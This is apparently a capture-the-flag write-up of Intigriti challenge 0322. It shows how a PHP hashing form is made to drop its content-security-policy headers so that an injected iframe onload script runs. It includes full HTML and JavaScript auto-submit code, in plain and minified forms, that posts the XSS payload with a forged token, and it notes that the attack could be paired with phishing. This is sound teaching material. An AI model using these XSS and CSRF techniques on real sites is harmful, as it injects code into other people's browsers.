Challenge 0322
A form with not-so-great input sanitization.
Output looks... normal.
I'll try some code:
Field1: <script>alert(document.domain)</script>
Field2: crc32
Which results in:
Browser says no. These are some strict content security policies. More on that later.
content-security-policy: default-src 'none'; style-src 'nonce-a86eb4f2ee375f65e809b1dddcf7bc1f0a258248'; script-src 'nonce-a86eb4f2ee375f65e809b1dddcf7bc1f0a258248'; img-src 'self'
It is unusual for a form to ask which hashing algorithm I want. What if I don't know?
Field1: <script>alert(document.domain)</script>
Field2: nothing
Result:
Now that I think about it, it should be my choice! More sites should implement this.
The error is useful. The PHP docs have a list of supported algorithms;
- 8.1.0 MurmurHash3 and xxHash
- 7.4.0 crc32c
- 7.1.0 sha512/224, sha512/256, sha3-224.....
What version of PHP are we on?
Input:
Field1: secret
Field2: crc32c
Result:
It could be any of them at this point. Try again with a more recent one...
Input:
Field1: terces
Field2: xxh64
Result:
So I know that it is probably php 7.4-8.0? Not sure if it will help me this time.
The clues are pointing towards the regex function - I haven't tried messing with the second field yet.
Input:
Field1: <script>alert(document.domain)</script>
Field2: blah blah blah blah blah blah blah blah
The result is nothing I haven't already seen.
Mess with it some more maybe?
Input:
Field1: <script>alert(document.domain)</script>
Field2: blah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blahblah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah
Result:
The headers that are defined in the code are not sent and a warning is shown. As a result the browser allows the javascript to be executed along with an error:
The brackets and ` are being replaced with 'NotAllowedCaracter' by the regex function hinted at the beginning.
A small amount of JS-fu will get past the character limits.
Starting with:
<iframe onload="alert(document.domain)"></iframe>
Encode it with any online tool:
<iframe onload="alert(document.domain)"></iframe>
Combine that with a long string in the bottom field to execute the alert.
Usually a form can't be submitted without a CSRF token signed by the server. For this challenge the token can be any string that is alphanumeric, lowercase and 64 characters long. Below there is an html form followed by a function randomString() that can generate random strings up to any length. The function showMeTheLove() populates the form with all of the right values. Finally I open/close a popup containing the sender page before the form is submitted. Without the popup the CSRF token will not be initialized for this browser session. There is probably a better way to wait for the page to load but I have used a timeout of 750ms for the sake of demonstration.
<html>
<body>
<form id="form" method="post" action="https://challenge-0322.intigriti.io/challenge/LoveReceiver.php">
<input type="hidden" id="token" name="token">
<input type="hidden" id="text" name="FirstText">
<input type="hidden" id="hash" name="Hashing">
<button id="button">Probably don't click me...</button>
</form>
<script>
function randomString(length) {
const dictionary = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for ( var i = 0; i < length; i++ ) {
result += dictionary.charAt(Math.floor(Math.random() * dictionary.length));
}
return result;
}
function showMeTheLove() {
const token = document.getElementById('token');
const text = document.getElementById('text');
const hash = document.getElementById('hash');
token.value = randomString(64);
text.value = '<iframe onload="alert(document.domain)"></iframe>';
hash.value = randomString(446);
}
var element = document.getElementById("button");
element.addEventListener('click', function (e) {
e.preventDefault();
var w = window.open('https://challenge-0322.intigriti.io/challenge/LoveSender.php', 'popup', "height=50,width=50");
showMeTheLove()
setTimeout(function () {
document.getElementById('form').submit();
w.close();
}, 500);
}, false);
</script>
</body>
</html>
Strip out the HTML:
function randomString(length) {
var dictionary = 'abcdefghijklmnopqrstuvwxyz0123456789';
var result = '';
for (var i = 0; i < length; i++) {
result += dictionary.charAt(Math.floor(Math.random() * dictionary.length));
}
return result;
}
var form = document.createElement("form");
var token = document.createElement("input");
var text = document.createElement("input");
var hash = document.createElement("input");
var button = document.createElement("button");
form.method = "POST";
form.action = "https://challenge-0322.intigriti.io/challenge/LoveReceiver.php";
token.name = "token";
token.type = "hidden";
token.value = randomString(64);
form.appendChild(token);
text.name = "FirstText";
text.type = "hidden";
text.value = '<iframe onload="alert(document.domain)"></iframe>';
form.appendChild(text);
hash.name = "Hashing";
hash.type = "hidden";
hash.value = randomString(446);
form.appendChild(hash);
button.id = "button";
button.textContent = "Probably don't click me..."
button.addEventListener('click', function (e) {
e.preventDefault();
var w = window.open('https://challenge-0322.intigriti.io/challenge/LoveSender.php', 'popup', "height=30,width=30");
setTimeout(function () {
form.submit();
w.close();
}, 500);
});
form.appendChild(button);
document.body.appendChild(form);
No need for it to be readable:
$ npm install uglify-js -g
$ uglifyjs --compress --mangle -- input.js > output.js
function randomString(e){for(var t="abcdefghijklmnopqrstuvwxyz0123456789",n="",o=0;o<e;o++)n+=t.charAt(Math.floor(Math.random()*t.length));return n}var form=document.createElement("form"),token=document.createElement("input"),text=document.createElement("input"),hash=document.createElement("input"),button=document.createElement("button");form.method="POST",form.action="https://challenge-0322.intigriti.io/challenge/LoveReceiver.php",token.name="token",token.type="hidden",token.value=randomString(64),form.appendChild(token),text.name="FirstText",text.type="hidden",text.value='<iframe onload="alert(document.domain)"></iframe>',form.appendChild(text),hash.name="Hashing",hash.type="hidden",hash.value=randomString(446),form.appendChild(hash),button.id="button",button.textContent="Probably don't click me...",button.addEventListener("click",function(e){e.preventDefault();var t=window.open("https://challenge-0322.intigriti.io/challenge/LoveSender.php","popup","height=30,width=30");setTimeout(function(){form.submit(),t.close()},750)}),form.appendChild(button),document.body.appendChild(form);
Note: This link won't work unless you have already submitted the form in your browser.
Impact
It would be easy to use this in conjunction with a phishing email or a familiar looking domain to trick a customer into executing code that is not hosted on the company website.